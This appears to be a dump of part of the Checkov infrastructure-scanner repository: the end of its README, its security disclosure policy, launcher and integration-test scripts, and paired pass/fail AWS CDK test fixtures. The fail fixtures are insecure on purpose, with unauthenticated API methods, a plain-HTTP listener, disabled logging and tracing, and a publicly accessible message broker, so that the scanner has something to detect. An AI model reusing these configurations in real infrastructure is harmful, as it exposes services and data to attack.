[Prisma Cloud extension](https://marketplace.visualstudio.com/items?itemName=PrismaCloud.prisma-cloud) a try.\n\n### Configuration using a config file\n\nCheckov can be configured using a YAML configuration file. By default, checkov looks for a `.checkov.yaml` or `.checkov.yml` file in the following places in order of precedence:\n* Directory against which checkov is run. (`--directory`)\n* Current working directory where checkov is called.\n* User's home directory.\n\n**Attention**: it is a best practice for checkov configuration file to be loaded from a trusted source composed by a verified identity, so that scanned files, check ids and loaded custom checks are as desired.\n\nUsers can also pass in the path to a config file via the command line. In this case, the other config files will be ignored. For example:\n```sh\ncheckov --config-file path/to/config.yaml\n```\nUsers can also create a config file using the `--create-config` command, which takes the current command line args and writes them out to a given path. For example:\n```sh\ncheckov --compact --directory test-dir --docker-image sample-image --dockerfile-path Dockerfile --download-external-modules True --external-checks-dir sample-dir --quiet --repo-id prisma-cloud/sample-repo --skip-check CKV_DOCKER_3,CKV_DOCKER_2 --skip-framework dockerfile secrets --soft-fail --branch develop --check CKV_DOCKER_1 --create-config /Users/sample/config.yml\n```\nWill create a `config.yaml` file which looks like this:\n```yaml\nbranch: develop\ncheck:\n  - CKV_DOCKER_1\ncompact: true\ndirectory:\n  - test-dir\ndocker-image: sample-image\ndockerfile-path: Dockerfile\ndownload-external-modules: true\nevaluate-variables: true\nexternal-checks-dir:\n  - sample-dir\nexternal-modules-download-path: .external_modules\nframework:\n  - all \noutput: cli \nquiet: true \nrepo-id: prisma-cloud/sample-repo \nskip-check: \n  - CKV_DOCKER_3 \n  - CKV_DOCKER_2 \nskip-framework:\n  - dockerfile\n  - secrets\nsoft-fail: true\n```\n\nUsers can also use the `--show-config` flag to view all the args and settings and where they came from i.e. commandline, config file, environment variable or default. For example:\n```sh\ncheckov --show-config\n```\nWill display:\n```sh\nCommand Line Args:   --show-config\nEnvironment Variables:\n  BC_API_KEY:        your-api-key\nConfig File (/Users/sample/.checkov.yml):\n  soft-fail:         False\n  branch:            master\n  skip-check:        ['CKV_DOCKER_3', 'CKV_DOCKER_2']\nDefaults:\n  --output:          cli\n  --framework:       ['all']\n  --download-external-modules:False\n  --external-modules-download-path:.external_modules\n  --evaluate-variables:True\n```\n\n## Contributing\n\nContribution is welcomed!\n\nStart by reviewing the [contribution guidelines](https://github.com/bridgecrewio/checkov/blob/main/CONTRIBUTING.md). After that, take a look at a [good first issue](https://github.com/bridgecrewio/checkov/issues?q=is%3Aissue+is%3Aopen+label%3A%22good+first+issue%22).\n\nYou can even start this with one-click dev in your browser through Gitpod at the following link:\n\n[![Open in Gitpod](https://gitpod.io/button/open-in-gitpod.svg)](https://gitpod.io/#https://github.com/bridgecrewio/checkov)\n\nLooking to contribute new checks? Learn how to write a new check (AKA policy) [here](https://github.com/bridgecrewio/checkov/blob/main/docs/6.Contribution/Contribution%20Overview.md).\n\n## Disclaimer\n`checkov` does not save, publish or share with anyone any identifiable customer information.  \nNo identifiable customer information is used to query Prisma Cloud's publicly accessible guides.\n`checkov` uses Prisma Cloud's API to enrich the results with links to remediation guides.\nTo skip this API call use the flag `--skip-download`.\n\n## Support\n\n[Prisma Cloud](https://www.prismacloud.io/?utm_source=github&utm_medium=organic_oss&utm_campaign=checkov) builds and maintains Checkov to make policy-as-code simple and accessible. \n\nStart with our [Documentation](https://www.checkov.io/1.Welcome/Quick%20Start.html) for quick tutorials and examples.\n\n## Python Version Support\nWe follow the official support cycle of Python, and we use automated tests for supported versions of Python.\nThis means we currently support Python 3.9 - 3.13, inclusive.\nNote that Python 3.8 reached EOL on October 2024 and Python 3.9 will reach EOL in October 2025.\nIf you run into any issues with any non-EOL Python version, please open an Issue.\n"
  },
  {
    "path": "SECURITY.md",
    "content": "# Security\n\n## Reporting a Vulnerability\n\nIf you think you have found a potential security vulnerability in `checkov`,\nplease email psirt@paloaltonetworks.com directly. Do not file a public issue. If\nEnglish is not your first language, please try to describe the problem\nand its impact to the best of your ability. For greater detail, please\nuse your native language and we will try our best to translate it using\nonline services.\n\nPlease also include the code you used to find the problem and the\nshortest amount of code necessary to reproduce it.\n\nPlease do not disclose this to anyone else. We will retrieve a CVE\nidentifier if necessary and give you full credit under whatever name or\nalias you provide. We will only request an identifier when we have a fix\nand can publish it in a release.\n\nWe will respect your privacy and will only publicize your involvement if\nyou grant us permission.\n\n## Process\n\nThis following information discusses the process the `checkov` project\nfollows in response to vulnerability disclosures. If you are disclosing\na vulnerability, this section of the documentation lets you know how we\nwill respond to your disclosure.\n\n### Timeline\n\nWhen you report an issue, one of the project members will respond to you\nwithin few days. This initial response will at the very least confirm\nreceipt of the report.\n\nIf we were able to rapidly reproduce the issue, the initial response\nwill also contain confirmation of the issue. If we are not, we will\noften ask for more information about the reproduction scenario.\n\nOur goal is to have a fix for any vulnerability released within two\nweeks of the initial disclosure. This may potentially involve shipping\nan interim release that simply disables function while a more mature fix\ncan be prepared, but will in the vast majority of cases mean shipping a\ncomplete release as soon as possible.\n\nThroughout the fix process we will keep you up to speed with how the fix\nis progressing. Once the fix is prepared, we will notify you that we\nbelieve we have a fix. Often we will ask you to confirm the fix resolves\nthe problem in your environment, especially if we are not confident of\nour reproduction scenario.\n\nAt this point, we will prepare for the release. We will obtain a CVE\nnumber if one is required, providing you with full credit for the\ndiscovery. We will also decide on a planned release date, and let you\nknow when it is.\n\nOn release day, we will push the patch to our public repository, along\nwith an updated changelog that describes the issue. The change log is\ngenerated automatically from commit messages. We will then issue a \nPyPI release containing the patch.\n\nAt this point, we will publicise the release. This will involve\nannouncement on our Slack channel (https://codifiedsecurity.slack.com)\nand all other communication mechanisms available to the core team.\n\nWe will also explicitly mention which commits contain the fix to make it\neasier for other distributors and users to easily patch their own\nversions of `checkov` if upgrading is not an option.\n"
  },
  {
    "path": "bin/checkov",
    "content": "#!/usr/bin/env python\nfrom checkov.main import Checkov\nimport warnings\nimport sys\n\nif __name__ == '__main__':\n    with warnings.catch_warnings():\n        warnings.simplefilter(\"ignore\", category=SyntaxWarning)\n        sys.exit(Checkov().run())\n"
  },
  {
    "path": "bin/checkov.cmd",
    "content": "@echo OFF\nREM=\"\"\"\nsetlocal\nset PythonExe=\"\"\nset PythonExeFlags=\n\nfor %%i in (cmd bat exe) do (\n    for %%j in (python.%%i) do (\n        call :SetPythonExe \"%%~$PATH:j\"\n    )\n)\nfor /f \"tokens=2 delims==\" %%i in ('assoc .py') do (\n    for /f \"tokens=2 delims==\" %%j in ('ftype %%i') do (\n        for /f \"tokens=1\" %%k in (\"%%j\") do (\n            call :SetPythonExe %%k\n        )\n    )\n)\n%PythonExe% -x %PythonExeFlags% \"%~f0\" %*\nexit /B %ERRORLEVEL%\ngoto :EOF\n\n:SetPythonExe\nif not [\"%~1\"]==[\"\"] (\n    if [%PythonExe%]==[\"\"] (\n        set PythonExe=\"%~1\"\n    )\n)\ngoto :EOF\n\"\"\"\n\n# ===================================================\n# Python script starts here\n# ===================================================\n\n#!/usr/bin/env python\nfrom checkov.main import Checkov\nimport warnings\nimport sys\n\nif __name__ == '__main__':\n    with warnings.catch_warnings():\n        warnings.simplefilter(\"ignore\", category=SyntaxWarning)\n        sys.exit(Checkov().run())\n"
  },
  {
    "path": "cdk_integration_tests/__init__.py",
    "content": ""
  },
  {
    "path": "cdk_integration_tests/prepare_data.sh",
    "content": "#!/bin/bash\n\n# iterate over all the cdk python checks\n#for file in \"checkov/cdk/checks/python\"/*; do\n#  # Ensure it's a yaml file\n#  if [[ -f \"$file\" && \"$file\" == *.yaml ]]; then\n#      basename=$(basename -- \"$file\")\n#      filename=\"${basename%.*}\"\n#      check_id=$(grep 'id:' $file | awk '{print $2}')\n#      if [[ $check_id != CKV* ]]; then\n#        #expects only CKV check ids\n#        continue\n#      fi\n#      # create a report for this check\n#      echo \"creating report for check: $filename, id: $check_id\"\n#      pipenv run checkov -s --framework cdk --repo-id cli/cdk -o json --check $check_id \\\n#        -d \"cdk_integration_tests/src/python/$filename\" --external-checks-dir \"checkov/cdk/checks/python\" \\\n#         > \"checkov_report_cdk_python_$filename.json\"\n#  fi\n#done\n\necho \"creating report for CDK\"\npipenv run checkov -s --framework cdk --repo-id cli/cdk -o json \\\n        -d \"cdk_integration_tests/src\" > \"checkov_report_cdk.json\"\n\n#todo: iterate over all the cdk typescript checks - when ts supported in sast\n"
  },
  {
    "path": "cdk_integration_tests/run_integration_tests.sh",
    "content": "#!/bin/bash\n\n# In order to run this script set the following environment variables:\n# BC_API_URL - your API url.\n# BC_KEY - generate API key via Platform.\n# You can also add the local SAST_ARTIFACT_PATH and LOG_LEVEL.\n\n# You can also set those vars in the set_env_vars() function, and uncomment the call to it.\n\n# The working dir should be the checkov project dir.\n# For example: on /Users/ajbara/dev2/checkov dir run BC_API_URL=https://ws342vj2ze.execute-api.us-west-2.amazonaws.com/v1 BC_KEY=xyz LOG_LEVEL=Info /Users/ajbara/dev2/checkov/sast_integration_tests/run_integration_tests.sh\n\nset_env_vars() {\n  export SAST_ARTIFACT_PATH=\"\"\n  export BC_API_KEY=\"\"\n  export LOG_LEVEL=DEBUG\n  export PRISMA_API_URL=\"https://api0.prismacloud.io\"\n}\n\nprepare_data () {\n  echo \"creating report for CDK\"\n  python checkov/main.py -s --framework cdk --repo-id prisma/cdk -o json \\\n    -d \"cdk_integration_tests/src\" > \"checkov_report_cdk.json\"\n\n}\n\ndelete_reports () {\n  rm -r checkov_report*\n  rm results.sarif\n  rm checkov_checks_list.txt\n}\n\n#echo \"calling set_env_vars\"\n#set_env_vars\n\nif [[ -z \"BC_API_KEY\" ]]; then\n   echo \"BC_API_KEY is missing.\"\n   exit 1\nfi\n\necho $PRISMA_API_URL\nif [[ -z \"PRISMA_API_URL\" ]]; then\n   echo \"PRISMA_API_URL is missing.\"\n   exit 1\nfi\n\ncd ..\n\necho $VIRTUAL_ENV\nif [ ! -z \"$VIRTUAL_ENV\" ]; then\n  deactivate\nfi\n\n#activate virtual env\nENV_PATH=$(pipenv --venv)\necho $ENV_PATH\nsource $ENV_PATH/bin/activate\n\necho $(pwd)\nworking_dir=$(pwd) # should be the path of local checkov project\nexport PYTHONPATH=\"$working_dir/checkov:$PYTHONPATH\"\n\nprepare_data\n\n#Run integration tests.\necho \"running integration tests\"\npytest cdk_integration_tests\n\ndeactivate\n\necho \"Deleting reports\"\ndelete_reports\n\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ALBDropHttpHeaders/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_elasticloadbalancingv2 as elbv2\n\nclass MyALBStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define ALB with Load Balancer Attributes\n        alb = elbv2.CfnLoadBalancer(\n            self, 'MyALB',\n            name='my-alb',\n            type='application',\n            load_balancer_attributes=[\n                {\n                    'key': 'routing.http.drop_invalid_header_fields.enabled',\n                    'value': 'false'\n                }\n            ]\n            # Other properties for your ALB\n        )\n\napp = core.App()\nMyALBStack(app, \"MyALBStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ALBDropHttpHeaders/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_elasticloadbalancingv2 as elbv2\n\nclass MyALBStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define ALB with Load Balancer Attributes\n        alb = elbv2.CfnLoadBalancer(\n            self, 'MyALB',\n            name='my-alb',\n            type='application',\n            load_balancer_attributes=[\n                {\n                    'key': 'routing.http.drop_invalid_header_fields.enabled',\n                    'value': 'true'\n                }\n            ]\n            # Other properties for your ALB\n        )\n\napp = core.App()\nMyALBStack(app, \"MyALBStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ALBListenerHTTPS/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_elasticloadbalancingv2 as elbv2\n\nclass MyListenerStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define HTTPS Redirect Listener\n        listener = elbv2.CfnListener(\n            self, 'MyHTTPSRedirectListener',\n            load_balancer_arn='your-load-balancer-arn',  # Replace with your ALB ARN\n            protocol='HTTP',\n            port=80,\n            default_actions=[{\n                'type': 'abc',\n                'redirectConfig': {\n                    'protocol': 'HTTP',\n                }\n            }]\n            # Other properties for your Redirect Listener\n        )\n\napp = core.App()\nMyListenerStack(app, \"MyListenerStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ALBListenerHTTPS/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_elasticloadbalancingv2 as elbv2\n\nclass MyListenerStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define HTTPS Listener\n        listener = elbv2.CfnListener(\n            self, 'MyHTTPSListener',\n            load_balancer_arn='your-load-balancer-arn',  # Replace with your ALB ARN\n            protocol='HTTPS',\n            # Other properties for your Listener\n        )\n\napp = core.App()\nMyListenerStack(app, \"MyListenerStack\")\napp.synth()\n\n\nclass MyListenerStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define HTTPS Redirect Listener\n        listener = elbv2.CfnListener(\n            self, 'MyHTTPSRedirectListener',\n            load_balancer_arn='your-load-balancer-arn',  # Replace with your ALB ARN\n            protocol='HTTP',\n            port=80,\n            default_actions=[{\n                'type': 'redirect',\n                'redirectConfig': {\n                    'protocol': 'HTTPS',\n                }\n            }]\n            # Other properties for your Redirect Listener\n        )\n\napp = core.App()\nMyListenerStack(app, \"MyListenerStack\")\napp.synth()\n\n"
  },
  {
    "path": "cdk_integration_tests/src/python/APIGatewayAccessLogging/fail__2__.py",
    "content": "from aws_cdk import aws_apigateway as apigateway\n\ncfn_stage = apigateway.CfnStage(self, \"MyCfnStage\",\n    rest_api_id=\"restApiId\",\n\n    # the properties below are optional\n\n    cache_cluster_enabled=False,\n    cache_cluster_size=\"cacheClusterSize\",\n    canary_setting=apigateway.CfnStage.CanarySettingProperty(\n        deployment_id=\"deploymentId\",\n        percent_traffic=123,\n        stage_variable_overrides={\n            \"stage_variable_overrides_key\": \"stageVariableOverrides\"\n        },\n        use_stage_cache=False\n    ),\n    client_certificate_id=\"clientCertificateId\",\n    deployment_id=\"deploymentId\",\n    description=\"description\",\n    documentation_version=\"documentationVersion\",\n    method_settings=[apigateway.CfnStage.MethodSettingProperty(\n        cache_data_encrypted=False,\n        cache_ttl_in_seconds=123,\n        caching_enabled=False,\n        data_trace_enabled=False,\n        http_method=\"httpMethod\",\n        logging_level=\"loggingLevel\",\n        metrics_enabled=False,\n        resource_path=\"resourcePath\",\n        throttling_burst_limit=123,\n        throttling_rate_limit=123\n    )],\n    stage_name=\"stageName\",\n    tags=[CfnTag(\n        key=\"key\",\n        value=\"value\"\n    )],\n    tracing_enabled=False,\n    variables={\n        \"variables_key\": \"variables\"\n    }\n)\n\nfrom aws_cdk import core\nfrom aws_cdk import aws_serverless as serverless\n\nclass ServerlessApiWithAccessLogStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a Serverless API\n        serverless.Api(\n            self, \"MyApi\",\n            default_stage={\n                \"stage_name\": \"prod\",\n                \"access_log_setting\": serverless.AccessLogSetting(\n                    format=serverless.AccessLogFormat.json_with_standard_fields()\n                )\n            }\n        )\n\napp = core.App()\nServerlessApiWithAccessLogStack(app, \"ServerlessApiWithAccessLogStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/APIGatewayAccessLogging/pass.py",
    "content": "from aws_cdk import aws_apigateway as apigateway\n\ncfn_stage = apigateway.CfnStage(self, \"MyCfnStage\",\n    rest_api_id=\"restApiId\",\n\n    # the properties below are optional\n    access_log_setting=apigateway.CfnStage.AccessLogSettingProperty(\n        destination_arn=\"destinationArn\",\n        format=\"format\"\n    ),\n    cache_cluster_enabled=False,\n    cache_cluster_size=\"cacheClusterSize\",\n    canary_setting=apigateway.CfnStage.CanarySettingProperty(\n        deployment_id=\"deploymentId\",\n        percent_traffic=123,\n        stage_variable_overrides={\n            \"stage_variable_overrides_key\": \"stageVariableOverrides\"\n        },\n        use_stage_cache=False\n    ),\n    client_certificate_id=\"clientCertificateId\",\n    deployment_id=\"deploymentId\",\n    description=\"description\",\n    documentation_version=\"documentationVersion\",\n    method_settings=[apigateway.CfnStage.MethodSettingProperty(\n        cache_data_encrypted=False,\n        cache_ttl_in_seconds=123,\n        caching_enabled=False,\n        data_trace_enabled=False,\n        http_method=\"httpMethod\",\n        logging_level=\"loggingLevel\",\n        metrics_enabled=False,\n        resource_path=\"resourcePath\",\n        throttling_burst_limit=123,\n        throttling_rate_limit=123\n    )],\n    stage_name=\"stageName\",\n    tags=[CfnTag(\n        key=\"key\",\n        value=\"value\"\n    )],\n    tracing_enabled=False,\n    variables={\n        \"variables_key\": \"variables\"\n    }\n)\n\nfrom aws_cdk import core\nfrom aws_cdk import aws_serverless as serverless\n\nclass ServerlessApiWithAccessLogStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a Serverless API\n        serverless.Api(\n            self, \"MyApi\",\n            default_stage={\n                \"stage_name\": \"prod\",\n                \"access_log_setting\": serverless.AccessLogSetting(\n                    destination_arn=\"arn:aws:logs:us-east-1:123456789012:log-group/MyLogGroup\",\n                    format=serverless.AccessLogFormat.json_with_standard_fields()\n                )\n            }\n        )\n\napp = core.App()\nServerlessApiWithAccessLogStack(app, \"ServerlessApiWithAccessLogStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/APIGatewayAuthorization/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_apigateway as apigw\n\nclass MyApiGatewayMethodStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create the API Gateway Method based on the conditions\n        api_method = apigw.Method(\n            self, 'MyApiGatewayMethod',\n            http_method='GET',  # Replace with your desired HTTP method\n            resource=self.node.try_get_context('resource'),  # Replace with your API resource\n            rest_api=self.node.try_get_context('rest_api'),  # Replace with your REST API\n            authorization_type=apigw.AuthorizationType.NONE,  # Set the AuthorizationType to NONE\n            api_key_required=False  # Set ApiKeyRequired to false\n            # You can add other properties as needed for your method\n        )\n\napp = core.App()\nMyApiGatewayMethodStack(app, \"MyApiGatewayMethodStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/APIGatewayAuthorization/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_apigateway as apigw\n\nclass MyApiGatewayMethodStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create the API Gateway Method based on the conditions\n        api_method = apigw.Method(\n            self, 'MyApiGatewayMethod',\n            http_method='OPTIONS',  # Replace with your desired HTTP method\n            resource=self.node.try_get_context('resource'),  # Replace with your API resource\n            rest_api=self.node.try_get_context('rest_api'),  # Replace with your REST API\n            authorization_type=apigw.AuthorizationType.NONE,  # Set the AuthorizationType to NONE\n            api_key_required=True  # Set ApiKeyRequired to false\n            # You can add other properties as needed for your method\n        )\n\napp = core.App()\nMyApiGatewayMethodStack(app, \"MyApiGatewayMethodStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/APIGatewayCacheEnable/fail__2__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_apigateway as apigateway\nfrom aws_cdk import aws_sam as sam\nclass MyApiGatewayStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an API Gateway stage with cache cluster enabled\n        api = apigateway.RestApi(\n            self,\n            \"MyApi\",\n            rest_api_name=\"MyApiName\",\n        )\n\n        stage = apigateway.Stage(\n            self,\n            \"MyApiStage\",\n            stage_name=\"prod\",  # Replace with your desired stage name\n            deployment=api.latest_deployment,\n        )\n\nclass MySAMApiStack2(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a Serverless API with cache cluster enabled\n        sam_api = sam.CfnApi(\n            self,\n            \"MySAMApi\",\n            stage_name=\"prod\",  # Specify the stage name\n            definition_body={\n                \"openapi\": \"3.0.1\",\n                \"info\": {\n                    \"title\": \"MyAPI\",\n                },\n                \"paths\": {\n                    \"/example\": {\n                        \"get\": {\n                            \"responses\": {\n                                \"200\": {\n                                    \"description\": \"A sample response\",\n                                },\n                            },\n                        },\n                    },\n                },\n            },\n        )\n"
  },
  {
    "path": "cdk_integration_tests/src/python/APIGatewayCacheEnable/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_apigateway as apigateway\nfrom aws_cdk import aws_sam as sam\nclass MyApiGatewayStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an API Gateway stage with cache cluster enabled\n        api = apigateway.RestApi(\n            self,\n            \"MyApi\",\n            rest_api_name=\"MyApiName\",\n        )\n\n        stage = apigateway.Stage(\n            self,\n            \"MyApiStage\",\n            stage_name=\"prod\",  # Replace with your desired stage name\n            deployment=api.latest_deployment,\n            cache_cluster_enabled=True,  # Enable cache cluster\n            cache_cluster_size=\"0.5\",  # Specify the cache cluster size\n        )\n\nclass MySAMApiStack2(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a Serverless API with cache cluster enabled\n        sam_api = sam.CfnApi(\n            self,\n            \"MySAMApi\",\n            cacheClusterEnabled=True,  # Enable cache cluster\n            cacheClusterSize=\"0.5\",  # Specify the cache cluster size\n            stage_name=\"prod\",  # Specify the stage name\n            definition_body={\n                \"openapi\": \"3.0.1\",\n                \"info\": {\n                    \"title\": \"MyAPI\",\n                },\n                \"paths\": {\n                    \"/example\": {\n                        \"get\": {\n                            \"responses\": {\n                                \"200\": {\n                                    \"description\": \"A sample response\",\n                                },\n                            },\n                        },\n                    },\n                },\n            },\n        )\n"
  },
  {
    "path": "cdk_integration_tests/src/python/APIGatewayV2AccessLogging/fail__2__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_apigatewayv2 as apigatewayv2\n\nclass MyApiGatewayV2StageStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define API Gateway V2 Stage with AccessLogSettings/DestinationArn set\n        api_stage = apigatewayv2.CfnStage(\n            self, 'MyApiGatewayV2Stage',\n            api_id='api_id_here',  # Replace with your API ID\n            stage_name='myStage',\n            # Add other properties as needed for your stage\n        )\n\napp = core.App()\nMyApiGatewayV2StageStack(app, \"MyApiGatewayV2StageStack\")\napp.synth()\n\nfrom aws_cdk import core\nfrom aws_cdk import aws_apigatewayv2 as apigatewayv2\n\nclass MyServerlessHttpApiStack2(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define a Serverless HTTP API with access log settings\n        serverless_api = apigatewayv2.CfnApi(\n            self, 'MyServerlessHttpApi',\n            name='MyHTTPAPI',\n            protocol_type='HTTP',\n            # Add other properties as needed for your HTTP API\n        )\n\napp = core.App()\nMyServerlessHttpApiStack2(app, \"MyServerlessHttpApiStack2\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/APIGatewayV2AccessLogging/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_apigatewayv2 as apigatewayv2\n\nclass MyApiGatewayV2StageStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define API Gateway V2 Stage with AccessLogSettings/DestinationArn set\n        api_stage = apigatewayv2.CfnStage(\n            self, 'MyApiGatewayV2Stage',\n            api_id='api_id_here',  # Replace with your API ID\n            stage_name='myStage',\n            access_log_settings=apigatewayv2.CfnStage.AccessLogSettingsProperty(\n                destination_arn='arn:aws:logs:REGION:ACCOUNT_ID:log-group:LOG_GROUP_NAME'\n                # Replace with the actual DestinationArn value\n            )\n            # Add other properties as needed for your stage\n        )\n\napp = core.App()\nMyApiGatewayV2StageStack(app, \"MyApiGatewayV2StageStack\")\napp.synth()\n\nfrom aws_cdk import core\nfrom aws_cdk import aws_apigatewayv2 as apigatewayv2\n\nclass MyServerlessHttpApiStack2(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define a Serverless HTTP API with access log settings\n        serverless_api = apigatewayv2.CfnApi(\n            self, 'MyServerlessHttpApi',\n            name='MyHTTPAPI',\n            protocol_type='HTTP',\n            access_log_settings=apigatewayv2.CfnApi.AccessLogSettingsProperty(\n                destination_arn='arn:aws:logs:REGION:ACCOUNT_ID:log-group:LOG_GROUP_NAME'\n                # Replace with the actual DestinationArn value\n            )\n            # Add other properties as needed for your HTTP API\n        )\n\napp = core.App()\nMyServerlessHttpApiStack2(app, \"MyServerlessHttpApiStack2\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/APIGatewayXray/fail__2__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_apigateway as apigateway\nfrom aws_cdk import aws_apigatewayv2 as apigatewayv2\n\nclass MyApiGatewayStageStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define API Gateway Stage with Tracing Enabled\n        apigateway.CfnStage(\n            self, 'MyApiGatewayStage',\n            stage_name='my-stage',\n            rest_api_id='your-rest-api-id',  # Replace with your RestApi Id\n            tracing_enabled=False\n            # Other properties for your API Gateway Stage\n        )\n\napp = core.App()\nMyApiGatewayStageStack(app, \"MyApiGatewayStageStack\")\napp.synth()\n\nclass MyServerlessApiStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Serverless API with Tracing Enabled\n        api = apigatewayv2.CfnApi(\n            self, 'MyServerlessApi',\n            name='my-serverless-api',\n            protocol_type='HTTP'\n            # Other properties for your Serverless API\n        )\n\n        stage = apigatewayv2.CfnStage(\n            self, 'MyServerlessApiStage',\n            api_id=api.ref,\n            stage_name='my-stage',\n            tracing_enabled=False\n            # Other properties for your API Gatewayv2 Stage\n        )\n\napp = core.App()\nMyServerlessApiStack(app, \"MyServerlessApiStack\")\napp.synth()"
  },
  {
    "path": "cdk_integration_tests/src/python/APIGatewayXray/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_apigateway as apigateway\nfrom aws_cdk import aws_apigatewayv2 as apigatewayv2\n\nclass MyApiGatewayStageStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define API Gateway Stage with Tracing Enabled\n        apigateway.CfnStage(\n            self, 'MyApiGatewayStage',\n            stage_name='my-stage',\n            rest_api_id='your-rest-api-id',  # Replace with your RestApi Id\n            tracing_enabled=True\n            # Other properties for your API Gateway Stage\n        )\n\napp = core.App()\nMyApiGatewayStageStack(app, \"MyApiGatewayStageStack\")\napp.synth()\n\nclass MyServerlessApiStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Serverless API with Tracing Enabled\n        api = apigatewayv2.CfnApi(\n            self, 'MyServerlessApi',\n            name='my-serverless-api',\n            protocol_type='HTTP'\n            # Other properties for your Serverless API\n        )\n\n        stage = apigatewayv2.CfnStage(\n            self, 'MyServerlessApiStage',\n            api_id=api.ref,\n            stage_name='my-stage',\n            tracing_enabled=True\n            # Other properties for your API Gatewayv2 Stage\n        )\n\napp = core.App()\nMyServerlessApiStack(app, \"MyServerlessApiStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/AmazonMQBrokerPublicAccess/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_amazonmq as amazonmq\n\nclass AmazonMQStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an Amazon MQ broker with PubliclyAccessible set to false\n        amazonmq_broker = amazonmq.CfnBroker(\n            self,\n            \"MyAmazonMQBroker\",\n            broker_name=\"my-amazon-mq-broker\",\n            engine_type=\"ACTIVEMQ\",\n            host_instance_type=\"mq.t2.micro\",\n            publicly_accessible=True,  # Set PubliclyAccessible to false\n        )\n\napp = core.App()\nAmazonMQStack(app, \"AmazonMQStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/AmazonMQBrokerPublicAccess/pass.py",
